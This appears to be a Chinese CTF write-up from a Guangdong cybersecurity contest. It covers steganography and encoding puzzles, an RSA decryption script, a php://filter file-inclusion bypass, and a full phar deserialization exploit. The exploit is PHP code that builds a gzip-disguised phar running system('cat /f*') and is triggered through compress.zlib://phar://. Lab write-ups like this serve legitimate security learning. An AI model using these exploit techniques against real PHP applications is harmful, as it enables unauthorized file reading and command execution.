广东省网络安全竞赛部分web,misc wp

我的队伍只做了5题,还是太菜了,本来不想发的,但是写都写了,还是水一篇博客吧

这里是我们队的wp

misc1

给了一个压缩包,解压需要密码,用纯数字密码没跑出来,感觉可能不是要强跑,看了下压缩包文件名,好长而且是32位,感觉是MD5,拿去网站查一下就出了

在这里插入图片描述

解压后发现flag.png打不开,用010发现是png文件头损坏,修复为

89 50 4E 47

打开图片发现是二维码,扫描发现

❀❁❀❇❀✼❀❂✿❆✿✽❁❀✿✾❂❅✿❄❂❉❀✿❂❆❀❃❀✿❂❆✿❀❁✾✻✿❁❁❀❁❂❊✻❂✿❈=

花瓣=朵编码,在线解码即可,https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo

flag{rUsJyNdKhdKuS4VfO7}

misc2

给了个图片

在这里插入图片描述

定积分算出来是Π,没啥头绪,用010看了看图片发现

在这里插入图片描述

很明显用stegpy工具,但是不知道密钥,推测是Π的前6位,一开始试314159,错了,又试了Π/6的前6位,又错

后面经队友提醒,发现密钥3.1415,真是逆天,小数点也在密钥里,接出来

3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone

把3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733d十六进制编码了一下为

5WslsqIQSBG8c6D2m5/KRwg+6gjm1tr1DQ8UyJUmIZs=

密钥是luckone,试了好多各种带密钥的解密,后面尝试des的PKSC37填充,iv,密钥都是luckyone,就出了

在这里插入图片描述

crypto

密码学就一个题目,简单的rsa加密,很多参数都给了,直接按照加密脚本,对应解密即可

from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.strxor import strxor
from Crypto.PublicKey import RSA
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451m = pow(ciphertext,d,N)
xor_key = long_to_bytes(m)
key = b'Life is like an ocean only strong-minded can reach the other shore'
key = key[:len(xor_key)]
msg = strxor(key,xor_key)
print(msg)

web_1

题目提示是文件包含,一开始进去就是Access deny,没有权限,可能需要本地登录,加个XFF头就会显示,file is null
在这里插入图片描述
尝试传file参数来进行文件包含,但是ban了很多关键字,用只有php://filter时没有被ban,但是加上read或write都会被拦截,但是不加又没有回显,尝试把read=convert.base64-encodebase64一下就能回显了文件,然后读取flag即可
在这里插入图片描述

web_3

题目提示有源码,用dirsearch扫一下,发现有www.tar.gz,下载后发现了源码,关键如下

download.php

<?php$file = $_POST['file'];if (isset($_POST['file'])) {if (preg_match("/flag/", $file)) {die("Access Denied");}$forbidden_paths = array("/etc/");foreach ($forbidden_paths as $forbidden_path) {if (strpos($file, $forbidden_path) === 0) {die("Access Denied");}}if (strpos($file, '../') !== false || strpos($file, '..\\') !== false) {die("Access Denied");}echo file_get_contents($file);
}class File {public $val1;public $val2;public $val3;public function __construct() {$this->val1 = "val1";$this->val2 = "val2";}public function __destruct() {if ($this->val1 === "file" && $this->val2 === "exists") {if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {eval($this->val3);} else {echo "Access Denied";}}}public function __access() {$Var = "Access Denied";echo $Var;}public function __wakeup() {$this->val1 = "exists";$this->val2 = "file";echo "文件存在";}
}?>

upload.php

<?php
if ($_FILES["file"]["error"] > 0){echo "文件上传出错";
}
else{$extensions = array("gif", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$fileExtension = end($temp);$fileSizeCheck = $_FILES["file"]["size"];$isExtensionAllowed = in_array($fileExtension, $extensions) ? true : false;if ($fileSizeCheck && $isExtensionAllowed){$fileContent = file_get_contents($_FILES["file"]["tmp_name"]);$haltCompilerCheck = strpos($fileContent, "__HALT_COMPILER();");if(gettype($haltCompilerCheck) === "integer"){echo "phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$fileHandle = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($fileHandle, $fileContent);fclose($fileHandle);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "不允许上传 .".$fileExtension;}
}function obfuscateCode($code) {$a = strrev($code);$b = base64_encode($a);return $b;
}function deobfuscateCode($code) {$a = base64_decode($code);$b = strrev($a);return $b;
}obfuscateCode($_SERVER["PHP_SELF"]);?>

然后还有一个文件上传的页面
要利用File类的__destruct方法读取flag

download.php,有file_get_contents,可以post一个file参数用phar协议,触发phar反序列化

但是有__wakeup需要绕过,发现php版本为5.5,修改系列化字符传属性数字即可

upload.php检测了phar文件特征__HALT_COMPILER();,gzip压缩或者写入zip注释,我这里用gzip压缩

然后正则比较奇葩,不能有flag,命令要是system(cat ..);类似的,

exp如下:

<?php
class File {public $val1;public $val2;public $val3;
}$a= new File();
$a->val1='file';
$a->val2='exists';
$a->val3="system('cat /f*');";
$phar=new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($a);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();?>

生成phar文件后,要用16进制修改器修改表示属性个数的16进制值,否则脚本重签名会失败

在这里插入图片描述
改完后再用脚本重签名,然后gzip压缩,最后改个png后缀在上传页面传上去后,在download.php传

?file=compress.zlib://phar://newtest.png/a.txt

读取phar文件,触发phar反序列化
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/11760.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

今天开发了一款软件,我竟然只用敲了一个字母(文末揭晓)

软件课题&#xff1a;Python实现打印100内数学试题软件及开发过程 一、需求管理&#xff1a; 1.实现语言&#xff1a;Python 2.打印纸张&#xff1a;A4 3.铺满整张纸 4.打包成exe 先看效果&#xff1a; 1. 2.电脑打印预览 3.打印到A4纸效果&#xff08;晚上拍的&#x…

Java后端的接口参数两个interger 类型情况解决

get请求 &#xff0c;对应请求头 RequestParm, post请求&#xff0c; 对应请求体 &#xff0c;RequestBody 两个Integer参数情况 GetMapping("/insertStaffClass")public R<Void> insertStaffClass(RequestParam Integer staffId,RequestParam List<Integ…

Node.js全栈:从一个简单的例子开始

第一章&#xff1a;从一个简单的例子开始第二章&#xff1a;看官方文档的艺术第三章&#xff1a;浏览器显示一个网页 首先&#xff0c;在VSCode编辑器中打开一个没有任何文件的空目录&#xff0c;然后创建一个package.json文件。 为了方便大家复制&#xff0c;我把文件内容放到…

Pytorch的torch.nn.functional.cross_entropy的ignore_index细解

作用 ignore_index用于忽略ground-truth中某些不需要参与计算的类。假设有两类{0:背景&#xff0c;1&#xff1a;前景}&#xff0c;若想在计算交叉熵时忽略背景(0)类&#xff0c;则可令ignore_index0&#xff08;同理忽略前景计算可设ignore_index1&#xff09;。 代码示例 i…

使用Flask的send_file方法实现文件下载功能

文章目录 什么是send_file方法&#xff1f;如何在Flask应用中使用send_file方法&#xff1f;示例拓展处理文件不存在的情况设置下载文件的名称实现文件下载的权限控制 结论 在Web开发中&#xff0c;经常需要实现文件下载功能&#xff0c;而Python的Flask框架提供了方便的send_f…

华为手机恢复出厂设置后怎么还原数据?该如何预防数据丢失?

华为手机恢复出厂设置是将手机恢复到出厂时的初始状态&#xff0c;同时会删除所有用户数据和个人设置。如果不做任何预防措施&#xff0c;在恢复出厂设置后&#xff0c;您将丢失手机上的所有数据。那华为手机恢复出厂设置后怎么还原数据呢&#xff1f;以下是关于如何在华为手机…

新的语言学习系统: 记忆镶嵌

摘要 记忆镶嵌是由多个关联记忆网络协同工作来完成感兴趣的预测任务。与transformer类似,记忆镶嵌具有组合能力和上下文学习能力。与transformer不同,记忆镶嵌以相对透明的方式实现这些能力。该研究在玩具示例上展示了这些能力,并且还表明记忆镶嵌在中等规模语言建模任务上的表…

头歌(EduCoder):数据挖掘算法原理与实践 -- 决策树

【头歌】机器学习实训代码 第一关&#xff1a;决策树算法思想 1、下列说法正确的是&#xff1f;&#xff08; AB &#xff09; A、训练决策树的过程就是构建决策树的过程B、ID3算法是根据信息增益来构建决策树C、C4.5算法是根据基尼系数来构建决策树D、决策树模型的可理解性不…

YOLOv9全网最新改进系列::YOLOv9完美融合双卷积核(DualConv)来构建轻量级深度神经网络,目标检测模型有效涨点神器!!!

YOLOv9全网最新改进系列&#xff1a;&#xff1a;YOLOv9完美融合双卷积核&#xff08;DualConv&#xff09;来构建轻量级深度神经网络,目标检测模型有效涨点神器&#xff01;&#xff01;&#xff01; YOLOv9原文链接戳这里&#xff0c;原文全文翻译请关注B站Ai学术叫叫首er …

Docker 的 Busybox 操作系统镜像

BusyBox是一个遵循GPL协议、以自由软件形式发行的应用程序。 Busybox在单一的可执行文件中提供了精简的Unix工具集&#xff0c;可运行于多款POSIX环境的操作系统&#xff0c;例如Linux&#xff08;包括Android&#xff09;、Hurd、FreeBSD等等。 由于BusyBox可执行文件的文件…

石墨烯材料商汉烯科技授权世强硬创,代理产品具备高导热/导电特点

近日&#xff0c;武汉汉烯科技有限公司&#xff08;下称“汉烯科技”&#xff0c;英文&#xff1a;HANXI TECH&#xff09;与世强先进&#xff08;深圳&#xff09;科技股份有限公司&#xff08;下称“世强先进”&#xff09;达成授权代理合作&#xff0c;面向锂电新能源、电子…

【基础技能】Windows常用快捷键

最近做知识管理&#xff0c;梳理了下个人技能&#xff0c;存在好多基础技能都是一知半解&#xff0c;用的时候都是现搜现查&#xff0c;没有形成一个完整的知识体系&#xff0c;导致一些基础不牢靠&#xff0c;需要再次筑基&#xff01; 于是就翻阅了微软的官网&#xff0c;撸…

51单片机GPS+sim800c GSM定位短信LCD1602液晶显示 原理图+PCB+源码

目录 1、实物图 2、原理图 ​3、PCB​编辑 4、程序 资料下载地址&#xff1a;51单片机GPSsim800c GSM定位短信LCD1602液晶显示 原理图PCB源码 1、实物图 2、原理图 3、PCB 4、程序 #include "common.h" #include "uart.h" #include "gps.h&…

简单易懂的HashMap使用指南:从入门到精通

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

如何查看Spring Boot 默认的数据库连接池类型

使用的Spring Boot的版本&#xff1a;2.3.4.RELEASE 先给出答案&#xff1a;com.zaxxer.hikari.HikariDataSource 怎么知道的呢&#xff1f; 新建一个Spring boot项目&#xff1a;springbootTest 配置pom.xml <dependencies><!-- SpringBoot 核心包 --><de…

【antd + vue】Failed to resolve component: a-select-option

一、问题说明 1、出现情况&#xff1a; <a-select>嵌套<a-select-option>&#xff0c;其中<a-select-option>循环&#xff0c;能正常使用&#xff0c;但是控制台警告。 2、控制台警告&#xff1a; [Vue warn]: Failed to resolve component: a-select-op…

OBS插件--图片或视频源随着声音动态缩放

音效动态调整 应用此插件的源可以根据音效声音的高低进行动态的缩放。在本例中&#xff0c;我们在当前的场景里面添加了一个小喇叭的图片源&#xff0c;在这个图片源上引用这款滤镜插件&#xff0c;然后将VLC视频源的音效用于此插件的音效。设置完成后&#xff0c;场景中的小喇…

HIVE调优-数据倾斜优化(详细版)

HIVE调优-数据倾斜优化 目录 HIVE调优-数据倾斜优化 1.排序优化 1&#xff09;order by 2&#xff09;distribute by sort by 3&#xff09;cluster by语句&#xff1a; 2.数据倾斜优化 1&#xff09;原因&#xff1a; 2&#xff09;表现&#xff1a; 3&#xff09…

css中用于设置光标颜色的属性

caret-color 是一个 CSS 属性&#xff0c;它用于定义输入光标&#xff08;caret&#xff09;的颜色。这里的“插入光标”&#xff08;insertion caret&#xff09;指的是在网页的可编辑器区域内&#xff0c;用来指示用户的输入具体会插入到哪里的那个一闪一闪的形似竖杠 | 的东…

[嵌入式系统-77]:RT-Thread-快速上手:嵌入式系统调测工具大全

目录 1. JTAG 下载调试器&#xff1a; 2. J-Link 仿真器&#xff1a; 3. ICE&#xff08;In-Circuit Emulator&#xff09;&#xff1a; 4. ROM监视器&#xff08;ROM Monitor&#xff09;&#xff1a; 5. 终端仿真工具&#xff1a; 6. 总线抓取工具&#xff1a; 7. 静态…